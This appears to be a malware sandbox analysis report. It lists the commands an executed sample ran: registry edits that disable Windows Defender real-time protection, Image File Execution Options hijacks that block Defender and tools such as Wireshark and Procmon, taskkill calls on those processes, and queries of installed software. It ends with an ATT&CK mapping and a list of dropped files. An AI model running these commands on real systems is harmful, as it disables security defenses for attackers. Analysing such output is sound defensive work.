"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2188

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:3832

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:2108

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2748

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:964

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1836

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2496

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3792

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
3⤵
- Checks for installed software on the system
PID:2744

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
3⤵
- Checks for installed software on the system
PID:2144

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3012

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3860

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1448

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:3632

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1228

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2784

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:296

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:964

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3668

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3516

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:3856

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:2784

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:2272

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
- Checks for installed software on the system
PID:492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:3992

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2252

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:3804

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:2092

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2892

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:2980

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:1476

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1556

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:2192

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:1900

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1116

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:3136

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:2272

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:1448

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3012

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:1232

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:3668

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2092

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:3712

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:3556

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2192

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:2308

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:68

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:3692

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:3352

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:2392

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2220

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:2328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:3888

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3808

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:3000

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:568

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3640

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
- Checks for installed software on the system
PID:3820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:3336

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1000

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
- Checks for installed software on the system
PID:496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:1836

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3856

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:1900

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:492

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1696

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
3⤵
- Checks for installed software on the system
PID:2328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
3⤵
PID:2668

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:3832

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:2280

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:3008

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2208

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
- Checks for installed software on the system
PID:3792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:3820

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2264

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:964

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:3352

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1900

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
- Checks for installed software on the system
PID:2344

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:2328

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2780

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
- Checks for installed software on the system
PID:3964

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:4024

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2280

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
3⤵
- Checks for installed software on the system
PID:3976

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
3⤵
PID:3336

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1836

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
- Checks for installed software on the system
PID:3352

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:3992

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2668

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
- Checks for installed software on the system
PID:4008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:3788

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:3964

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1544

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
- Checks for installed software on the system
PID:4024

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:3312

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3788

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
3⤵
- Checks for installed software on the system
PID:3820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
3⤵
PID:3976

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4048

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:3964

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4024

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:4024

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4104

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4124

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:4160

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:4180

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4196

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
- Checks for installed software on the system
PID:4280

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:4320

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:4228

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4340

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
- Checks for installed software on the system
PID:4376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:4396

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
- Checks for installed software on the system
PID:4452

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:4472

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:4528

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
- Checks for installed software on the system
PID:4548

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:4604

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:4624

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4644

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:4680

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:4700

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4720

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:4756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:4776

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4796

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:4832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:4852

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:4908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:4928

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4948

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:4984

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:5004

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5024

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:5068

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:5088

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:5104

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4108

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
3⤵
PID:1864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
3⤵
- Checks for installed software on the system
PID:3540

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3048

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
3⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
3⤵
- Checks for installed software on the system
PID:2732

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:2432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
- Checks for installed software on the system
PID:3352

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:2264

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
- Checks for installed software on the system
PID:976

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2156

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:3808

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
- Checks for installed software on the system
PID:4144

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:3860

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:3516

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:3904

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4228

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:4356

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:4468

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:4528

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Hidden Files and Directories

T1158

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\LdlkM\Desktop.ini

Download Submit
C:\Users\Admin\LdlkM\lAdax.class

Download Submit
\Users\Admin\AppData\Local\Temp\EbijRhwbGz3628114858612085456.xml

Download Submit
memory/68-123-0x0000000000000000-mapping.dmp

Download
memory/296-84-0x0000000000000000-mapping.dmp

Download
memory/412-46-0x0000000000000000-mapping.dmp

Download
memory/492-141-0x0000000000000000-mapping.dmp

Download
memory/492-121-0x0000000000000000-mapping.dmp

Download
memory/492-62-0x0000000000000000-mapping.dmp

Download
memory/492-98-0x0000000000000000-mapping.dmp

Download
memory/496-92-0x0000000000000000-mapping.dmp

Download
memory/496-137-0x0000000000000000-mapping.dmp

